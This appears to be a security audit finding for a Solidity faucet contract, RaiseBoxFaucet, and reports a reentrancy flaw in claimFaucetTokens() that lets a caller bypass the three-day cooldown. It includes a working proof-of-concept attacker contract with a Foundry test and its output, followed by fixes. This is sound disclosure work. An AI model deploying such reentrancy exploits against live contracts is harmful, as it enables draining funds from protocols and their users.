Description
The claimFaucetTokens() function contains a critical reentrancy vulnerability that allows attackers to bypass the 3-day cooldown mechanism. By violating the Checks-Effects-Interactions (CEI) pattern, the function makes an external ETH transfer before updating critical state variables, enabling malicious contracts to claim tokens twice in a single transaction. Attackers can repeat this exploit by deploying fresh contracts.
Root + Impact
Normal Behavior:
The claimFaucetTokens() function should enforce a 3-day cooldown between claims by checking and updating lastClaimTime[msg.sender] to prevent users from claiming more frequently than intended.
The Issue:
The function makes an external ETH transfer at line 210 before updating lastClaimTime at line 227. During the ETH transfer, a malicious contract's receive() function is triggered, allowing it to reenter claimFaucetTokens(). Since lastClaimTime hasn't been updated yet, the cooldown check passes, enabling a second claim in the same transaction.
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
} else {
dailyDrips = 0;
}
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Risk
Likelihood: High - Anyone can deploy a malicious contract with a receive() function. No special conditions required apart from the caller being a first time faucet claimer. Repeatable with fresh contracts.
Impact: High - Attacker claims 2x tokens per transaction, bypassing the 3-day cooldown. By deploying multiple contracts, attackers can continuously drain the faucet, denying tokens to legitimate users.
Proof of Concept
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
bool public attacked;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
receive() external payable {
if (!attacked) {
attacked = true;
faucet.claimFaucetTokens();
}
}
function attack() external {
faucet.claimFaucetTokens();
}
}
contract ReentrancyTest is Test {
RaiseBoxFaucet public faucet;
ReentrancyAttacker public attacker;
address public owner = address(1);
function setUp() public {
vm.prank(owner);
faucet = new RaiseBoxFaucet(
"RaiseBox",
"RB",
1000 * 10 ** 18,
0.01 ether,
1 ether
);
vm.deal(address(faucet), 10 ether);
attacker = new ReentrancyAttacker(payable(address(faucet)));
vm.warp(block.timestamp + 3 days + 1);
}
function testReentrancyDrainsFaucet() public {
uint256 faucetDrip = faucet.faucetDrip();
console.log("=== REENTRANCY ATTACK ===");
console.log("Faucet drip per claim:", faucetDrip / 10**18, "tokens");
attacker.attack();
uint256 attackerBalance = faucet.balanceOf(address(attacker));
console.log("Attacker balance:", attackerBalance / 10**18, "tokens");
console.log("Attacker claimed", attackerBalance / faucetDrip, "times in ONE transaction");
console.log("Cooldown bypassed!");
assertEq(attackerBalance, 2 * faucetDrip, "Attacker claimed 2x tokens");
assertTrue(attacker.attacked(), "Reentrancy occurred");
}
}
Test Output:
[PASS] testReentrancyDrainsFaucet() (gas: 234965)
Logs:
=== REENTRANCY ATTACK ===
Faucet drip per claim: 1000 tokens
Attacker balance: 2000 tokens
Attacker claimed 2 times in ONE transaction
Cooldown bypassed!
Attack Flow:
Attacker deploys malicious contract and calls attack()
First claim executes → faucet sends ETH → triggers receive()
In receive(), attacker reenters claimFaucetTokens() before lastClaimTime is updated
Reentrant call passes cooldown check (still sees old lastClaimTime)
Attacker receives second batch of tokens
Result: Claimed 2000 tokens (2x) in one transaction, bypassing 3-day cooldown
Actors:
-
Attacker: Bypasses cooldown, claims 2x tokens per contract deployed
-
Protocol: Cooldown mechanism broken, loses extra tokens
-
Users: Denied tokens as attackers repeatedly exploit
Mitigation
Move state updates (lastClaimTime and dailyClaimCount) before external calls to follow CEI pattern. This prevents reentrancy by ensuring the cooldown check fails on reentrant calls.
Option 1: Fix CEI Pattern (Recommended)
function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
// ... other checks ...
+ // Effects - UPDATE STATE BEFORE EXTERNAL CALLS
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// Interactions - External calls AFTER state updates
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
- // Effects
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Option 2: Additionally Use ReentrancyGuard
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// ... rest of function ...
}
}